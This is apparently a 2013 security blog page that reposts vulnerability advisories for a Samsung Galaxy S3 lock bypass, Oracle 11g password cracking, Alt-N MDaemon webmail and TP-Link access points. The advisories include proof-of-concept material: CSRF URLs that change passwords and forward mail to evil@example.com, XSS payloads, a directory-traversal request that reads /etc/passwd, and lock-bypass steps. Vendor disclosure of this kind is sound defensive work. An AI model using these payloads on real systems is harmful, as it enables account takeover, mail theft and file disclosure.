Showing posts with label vulnerability. Show all posts
Showing posts with label vulnerability. Show all posts

Saturday, February 23, 2013

Samsung Galaxy S3 partial screen-lock bypass

MTI Technology – Vulnerability Research Team
www.mti.com

 

ukpentestinfo"at"mti.com
 


Samsung Galaxy S3 – partial screen-lock bypass


Date found:
17th Feb 2012

Vendor Notified:
20th Feb 2012

Vendor Affected:
Samsung

Device:
Galaxy S3

Model:
GT-19300

OS:
Android 4.1.2

Kernel Version:
3.0.31-742798


Affects:

Only tested on Samsung Galaxy SIII kernel version 3.0.31-742798 but it is possible any Samsung device that allows emergency contacts to be used and has S-Voice present could be vulnerable.

It is a Samsung specific bug not an Android one,


I. Background
MTI technology recently conducted a 45 day internal research program aimed at locating new attacks and vulnerabilities in Android devices. Specifically the Samsung S3 and LG Nexus 4 were tested. Several new issues where located and most of them have or will be reported to the relevant vendors.

MTI will be releasing new advisories in cooperation with the relevant vendors.


II. Overview

Partial device functionality is available to a user from a locked S3, which permits certain activities to be carried out.


III. Problem Description

It is possible to access any functionality available from the S-Voice utility on a Samsung S3 when the phone it locked and a PIN (or other locking method) is set. Any command that can be issued via S-Voice can be issued when the phone is locked; however, only the actual phone / keypad becomes available to a user. Any other applications launched, will still open and execute commands but are not visible to a user and the device will revert back to the lock screen.

To access S-Voice the following steps are followed (assuming the phone is locked with a PIN number):

Press the power / home button to turn phone on,
Swipe the screen to access the PIN entry screen,
Select Emergency Call
Select Emergency Contacts (bottom left icon)
On the Emergency Contact screen, press the Home button twice in quick succession (to active S-Voice)
As soon as the Home button is pressed twice, tap the bottom centre of the screen (the S-Voice Microphone button)
Issue any S-Voice Command.

Commands such as the following can be issued:

Call 12345 - will active the phone, dial the number and display it to a user. The command can be used to call any user, or contact (if the name is known) or even Voicemail if Voicemail has been saved as a contact.
What is number / address – will cause S-Voice to say the number or address associated with a contact
Message
Turn Wi-Fi On / off
Turn Bluetooth on / off
What is on my calendar
Go to Google.com

The S-Voice help screen can be used to obtain a listing of supported / documented commands. MTI were not able to locate any commands not listed in this help page.

A crude method to enumerate contact names is to press the home button from the Emergency Contacts screen and quickly press the message / SMS icon (if stored on the main page) this will briefly display the users SMS inbox, which will reveal contact names.

IV. Impact
Low to Medium depending on the information stored on a phone. A malicious user who has access to a locked S3 would be able to obtain information from the schedule / calendar, make phone calls to any phone number (such as a premium rate number), message contacts, update a user’s Facebook / twitter status (if S-Voice is configured to do so), enumerate contact addresses and phone numbers, active Bluetooth and Wi-Fi.


V. Workaround
In S-Voice settings, disable the ‘Open S-Voice by double pressing the Home Key’ setting.

VI. Solution

Awaiting vendor response. Vendor seems to require Vulnerability Disclosures to be posted in their public developers forum:

http://developer.samsung.com/forum/thread/samsung-s3---partial-screen-lock-bypass/77/222426?boardName=GeneralB&startId=zzzzz~








Courtesy: securityfocus.com

Friday, February 22, 2013

Oracle 11g Stealth Password Cracking Vulnerability (CVE-2012-3137)

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

TeamSHATTER Security Advisory

Oracle 11g Stealth Password Cracking Vulnerability

February 20, 2013

Risk Level:
High

Affected versions:
Oracle Database Server version 11gR1, 11gR2

Remote exploitable:
Yes (No authentication to Database Server is needed)

Credits:
This vulnerability was discovered and researched by Esteban Martinez Fayo of
Application Security Inc.

Details:
There is a flaw in the way that Authentication Session Keys are generated and
protected by Oracle Database Server during the authentication process.  It is
possible to use this flaw to perform unlimited password guesses (cracking) of
any user password in a similar way as if the password hash would be available.
All users that are authenticated by the database using logon protocol version
11 are affected by this vulnerability.  This includes all users created with
the "IDENTIFIED BY" clause, including the SYS user.
The attack can be performed remotely without the need of a valid username and
password.  The attacker just needs to know the SID of the database and the
name of a valid user.  The attack can be done with just a few network packets
and without leaving any trace in native auditing facilities.

Impact:
Remote unauthenticated attackers can perform offline bruteforce on users
passwords, testing millions of passwords per second.

Vendor Status:
Vendor was contacted and a patch was released.

Workaround:
Some possible workarounds:
1) Use strong user passwords. A strong password will make password guessing
more difficult (or impossible) to solve in reasonable time.
2) Use external authentication. Only users that are authenticated by the
database are affected by this vulnerability.  Users that are authentication by
external means are not affected; this includes users authenticated by the
Operating System and the Network (SSL or third-parties like Kerberos).
3) Disable protocol version 11 and use version 10 or lower instead. To do
this, set initialization parameter SEC_CASE_SENSITIVE_LOGON to FALSE.
See https://www.teamshatter.com/?p=3951
 
 for more information about the
workarounds.

Fix:
Apply Oracle Critical Patch Update October 2012 available at Oracle Support.

CVE:
CVE-2012-3137

Links:
http://www.oracle.com/technetwork/topics/security/cpuoct2012-1515893.html

https://www.teamshatter.com/?p=4120
 

https://www.teamshatter.com/?p=3951
 


Timeline:
Vendor Notification - 4/21/2010
Vendor Response - 4/26/2010
Fix - 10/16/2012
Public Disclosure - 2/20/2013
- --
_____________________________________________
Copyright (c) 2013 Application Security, Inc.
http://www.appsecinc.com


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Courtesy: securityfocus.com

Thursday, February 21, 2013

Alt-N MDaemon's WorldClient & WebAdmin Cross-Site Request Forgery Vulnerability

=====================================================================================
   Alt-N MDaemon's WorldClient & WebAdmin Cross-Site Request Forgery
Vulnerability
=====================================================================================

Software:  Alt-N MDaemon v13.0.3 and prior versions
Vendor: http://www.altn.com/


Vuln Type: Cross-Site Request Forgery
Remote: Yes
Local: No
Discovered by: QSecure and Demetris Papapetrou
References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_WorldClient_and_WebAdmin_CSRF.html
 

Discovered: 25/07/2012
Reported: 19/12/2012
Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html
)
Disclosed: 18/02/2013

VULNERABILITY DESCRIPTION:
==========================
Alt-N WorldClient and WebAdmin applications are prone to a cross-site
request-forgery vulnerability. It should be noted that partial
protection is provided by the Session parameter, but this alone cannot
be considered as an adequate protection mechanism.

An attacker can exploit this issue to perform different actions on the
affected application without the user's consent. For example, the
attacker can change the user's password, forward a copy of the user's
emails to a different email account, retrieve his/her address book,
send email messages to other users/email addresses and/or perform
other similar tasks.

Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable;
other versions may also be affected.

PoC Exploit:
============
Change Password:
http://www.example.com:3000/WorldClient.dll?Session=[SESSION_ID]&View=Options-Prefs&Reload=false&Save=Yes&ReturnJavaScript=Yes&ContentType=javascript&Password=Letme1n&ConfirmPassword=Letme1n


Enable Forwarding:
http://www.example.com:3000/WorldClient.dll?Session=[SESSION_ID]&View=Options-Prefs&Reload=false&Save=Yes&ReturnJavaScript=Yes&ContentType=javascript&ForwardingEnabled=Yes&ForwardingRetainCopy=Yes&ForwardingAddress=evil%40example.com





Courtesy: securityfocus.com

Alt-N MDaemon Email Body HTML/JS Injection Vulnerability

==============================================================
   Alt-N MDaemon Email Body HTML/JS Injection Vulnerability
==============================================================

Software:  Alt-N MDaemon v13.0.3 and prior versions
Vendor: http://www.altn.com/


Vuln Type: HTML/JS Injection
Remote: Yes
Local: No
Discovered by: QSecure and Demetris Papapetrou
References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_Email_Body_HTML_JS_Injection.html
 

Discovered: 14/09/2012
Reported: 19/12/2012
Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html
)
Disclosed: 18/02/2013

VULNERABILITY DESCRIPTION:
==========================
Alt-N MDaemon is prone to an HTML/Javascript injection vulnerability
because it fails to sanitize user-supplied input.

Attacker-supplied HTML and/or JavaScript code could run in the context
of the affected site, potentially allowing the attacker to steal
cookie-based authentication credentials and control how the site is
rendered to the user; other attacks are also possible.

Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable;
other versions may also be affected.

PoC Exploit:
============
<<!-------->script>alert('XSS');<<!-------->/script>






Courtesy: securityfocus.com

Alt-N MDaemon's WorldClient Predictable Session ID Vulnerability

======================================================================
   Alt-N MDaemon's WorldClient Predictable Session ID Vulnerability
======================================================================

Software:  Alt-N MDaemon v13.0.3 and prior versions
Vendor: http://www.altn.com/


Vuln Type: Session ID Prediction
Remote: Yes
Local: No
Discovered by: QSecure and Demetris Papapetrou
References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_WorldClient_Predictable_Session_ID.html
 

Discovered: 25/07/2012
Reported: 19/12/2012
Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html
)
Disclosed: 18/02/2013

VULNERABILITY DESCRIPTION:
==========================
Alt-N WorldClient is the web interface of the MDaemon email server. It
has been identified that application session state is not maintained
by the user's session cookie but by the URL "Session" parameter
instead. This parameter is transmitted with every user request sent to
the WorldClient web application and under certain circumstances future
session IDs can be successfully predicted.

The use of predictable session IDs for authentication makes
WorldClient prone to session hijacking attacks. If the attacker can
generate a current valid session ID then he/she may be able to access
webmail accounts without possessing a valid username/password. The
impact of the attack is significantly reduced because WorldClient
associates the client's IP address with each session ID produced.
However, certain network setups or other scenarios may exist that
could render the IP restriction ineffective.

Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable;
other versions may also be affected.

Pre-Requisites:
---------------
1) The attacker needs to get a current or expired session ID.
       a) Google Search: "WorldClient.dll?Session="
       b) Steal an HTTP request and observe the Referer field
2) The MDaemon service or the machine has not been restarted since the
captured session ID was generated (There may be a way to deal with
this but further research is needed).






Courtesy: securityfocus.com

Alt-N MDaemon's WorldClient Username Enumeration Vulnerability

====================================================================
   Alt-N MDaemon's WorldClient Username Enumeration Vulnerability
====================================================================

Software:  Alt-N MDaemon v13.0.3 and prior versions
Vendor: http://www.altn.com/

Vuln Type: Username Enumeration
Remote: Yes
Local: No
Discovered by: QSecure and Demetris Papapetrou
References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_WorldClient_Username_Enumeration.html
 

Discovered: 14/09/2012
Reported: 19/12/2012
Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html
)
Disclosed: 18/02/2013

VULNERABILITY DESCRIPTION:
==========================
Alt-N WorldClient is prone to a username-enumeration weakness by
querying the user's Free-Busy schedule. The DTSTART and DTEND
parameters in the returned FBData.vfb file, may indicate whether an
email address/username is valid or not.

Attackers may exploit this weakness to discern valid usernames. This
may aid them in brute-force password cracking or other attacks.

Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable;
other versions may also be affected.

PoC Exploit:
============
http://www.example.com:3000/WorldClient.dll?View=fbinfo&User=mickey.mouse@qsecure.com.cy


For valid email accounts the DTSTART and DTEND values in the .vfb file
start with a recent date backwards (e.g. 20120505) whereas for invalid
ones the date is 19801231.




Courtesy: securityfocus.com

Alt-N MDaemon's WebAdmin Remote Code Execution Vulnerability

==================================================================
   Alt-N MDaemon's WebAdmin Remote Code Execution Vulnerability
==================================================================

Software:  Alt-N MDaemon v13.0.3 and prior versions
Vendor: http://www.altn.com/


Vuln Type: Remote Code Execution
Remote: Yes
Local: No
Discovered by: QSecure and Demetris Papapetrou
References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_WebAdmin_Remote_Code_Execution.html
 

Discovered: 01/10/2012
Reported: 19/12/2012
Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html
)
Disclosed: 18/02/2013

VULNERABILITY DESCRIPTION:
==========================
Alt-N WebAdmin application is prone to a remote code execution
vulnerability via the user account import facility. Attackers may
utilize a compromised user/non-admin account to create new accounts in
the system or modify existing ones, in a way that will turn-on the
autorespond "program processing" functionality and cause it to execute
arbitrary commands on the underlying operating system.

Furthermore, utilizing the user account import facility, an ordinary
user can change the password of any other user or administrator
account within MDaemon and access his/her emails. However, a
side-effect of this procedure is that any administrator accounts that
get modified this way, are downgraded to ordinary users.

Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable;
other versions may also be affected.






Courtesy: securityfocus.com

Alt-N MDaemon's WorldClient Disclosure of Authentication Credentials Vulnerability

==========================================================================================
   Alt-N MDaemon's WorldClient Disclosure of Authentication
Credentials Vulnerability
==========================================================================================

Software:  Alt-N MDaemon v13.0.3 and prior versions
Vendor: http://www.altn.com/


Vuln Type: Disclosure of Authentication Credentials
Remote: Yes
Local: No
Discovered by: QSecure and Demetris Papapetrou
References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_WorldClient_Disclosure_of_Authentication_Credentials.html
 

Discovered: 01/10/2012
Reported: 19/12/2012
Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html
)
Disclosed: 18/02/2013

VULNERABILITY DESCRIPTION:
==========================
Alt-N WorldClient application is prone to an authentication
credentials disclosure via a specially formulated HTTP request. This
is possible because the application replies to the request with a
response that contains the credentials in an encoded (reversible)
format.

Attackers may trick an unsuspecting user into opening a malicious
email message -using the WorldClient application- and stealing his/her
authentication credentials without the user ever noticing.

Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable;
other versions may also be affected.

PoC Exploit:
============
Vulnerable URL:
http://www.example.com:3000/WorldClient.dll?Session=[SESSION_ID]&View=WebAdmin


Encoded Auth String:
GaDAQBQOP3cymUmJxiNVaz80JTAklc/c+q7fAhmklkQSdp0XMo2X/4aVhqMtLz4OLuCf6v2T0Gc9KKHkvn
ok0B9ARyso9/k

Decoded Auth String:
User=test%40ac1dc0de.com
 
&Password=111111Ab&TimeStamp=1344532850&Lang=en






courtesy: securityfocus.com

Friday, February 15, 2013

TP-Link TL-WA701N / TL-WA701ND Multiple Vulnerabilities

Device Name: TL-WA701N / TL-WA701ND
Vendor: TP-Link

============ Vulnerable Firmware Releases: ============
Firmware Version: 3.12.6 Build 110210 Rel.37112n
Firmware Version: 3.12.16 Build 120228 Rel.37317n - Published Date 2/28/2012
Hardware Version: WA701N v1 00000000
Model No.: TL-WA701N / TL-WA701ND

Firmware download: http://www.tp-link.com/en/support/download/?model=TL-WA701ND&version=V1

============ Vulnerability Overview: ============

    * Directory Traversal:

Access local files of the device. For example you could read /etc/passwd and /etc/shadow.

Request:
GET /help/../../etc/passwd HTTP/1.1
Host: 192.168.178.2
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.2/help/

==>> no authentication needed!!!

Response:
HTTP/1.1 200 OK
Server: TP-LINK Router
Connection: close
WWW-Authenticate: Basic realm="TP-LINK Wireless Lite N Access Point WA701N"
Content-Type: text/html

<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<HTML>
<HEAD><TITLE>TL-WA701N</TITLE>
<META http-equiv=Pragma content=no-cache>
<META http-equiv=Expires content="wed, 26 Feb 1997 08:21:57 GMT">
<LINK href="/dynaform/css_help.css" rel=stylesheet type="text/css">
<SCRIPT language="javascript" type="text/javascript"><!--
if(window.parent == window){window.location.href="http://192.168.178.2";}
function Click(){ return false;}
document.oncontextmenu=Click;
function doPrev(){history.go(-1);}
//--></SCRIPT>
root:x:0:0:root:/root:/bin/sh
Admin:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/bin/sh
daemon:x:2:2:daemon:/usr/sbin:/bin/sh
adm:x:3:4:adm:/adm:/bin/sh
lp:x:4:7:lp:/var/spool/lpd:/bin/sh
sync:x:5:0:sync:/bin:/bin/sync
shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh
operator:x:11:0:Operator:/var:/bin/sh
nobody:x:65534:65534:nobody:/home:/bin/sh
ap71:x:500:0:Linux User,,,:/root:/bin/sh

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/TP-Link-directory-traversal.png

TP-Link TL-WA701N / TL-WA701ND Multiple Vulnerabilities - e-Knights Technologogies

This traversal vulnerability was already reported on some other TP-Link devices:https://github.com/cldrn/nmap-nse-scripts/blob/master/scripts/6.x/http-tplink-dir-traversal.nse

    * The request for changing the password is a HTTP GET and the username and password are parameters of this HTTP GET:
http://192.168.178.2/userRpm/ChangeLoginPwdRpm.htm?oldname=admin&oldpassword=XXXX&newname=admin&newpassword=XXXX&newpassword2=XXXX&Save=Save

    * Stored XSS:

Injecting scripts into the parameter Desc reveals that this parameter is not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code.

-> Wireless MAC Filtering -> Add or Modify -> put your XSS in the description (parameter Desc)

Example Request:
http://192.168.178.2/userRpm/WlanMacFilterRpm.htm?Mac=00-11-22-33-44-55&Desc=%22%3E%3Cimg+src%3D%220%22+onerror%3Dalert%281)>&Type=1&entryEnabled=1&Changed=0&SelIndex=0&Page=1&vapIdx=1&Save=Save

This XSS vulnerability was already documented on a other device and firmware version:http://www.exploit-db.com/exploits/19774/

    * Stored XSS:

-> System Tools -> SNMP:

Injecting scripts into the parameter sys_name and sys_location reveals that this parameter is not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code.

http://192.168.178.2/userRpm/SnmpRpm.htm?snmp_agent=0&sys_contact=123&sys_name=</script>&sys_location=<script>alert('XSSed')</script>&get_community=111&get_source=123&set_community=123&set_source=111&Save=Save

============ Solution ============

No known solution available.

============ Credits ============

The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Web: http://www.s3cur1ty.de
Advisory URL: http://www.s3cur1ty.de/m1adv2013-011
Twitter: @s3cur1ty_de

The traversal vulnerability was already reported on some other TP-Link devices:https://github.com/cldrn/nmap-nse-scripts/blob/master/scripts/6.x/http-tplink-dir-traversal.nse

The stored XSS vulnerability in the Desc parameter was already documented on a other device and firmware version: http://www.exploit-db.com/exploits/19774/

============ Time Line: ============
August 2012 - discovered vulnerability
06.08.2012 - reported vulnerability to TP-Link
14.02.2013 - public release

===================== Advisory end =====================




courtesy: securityfocus.com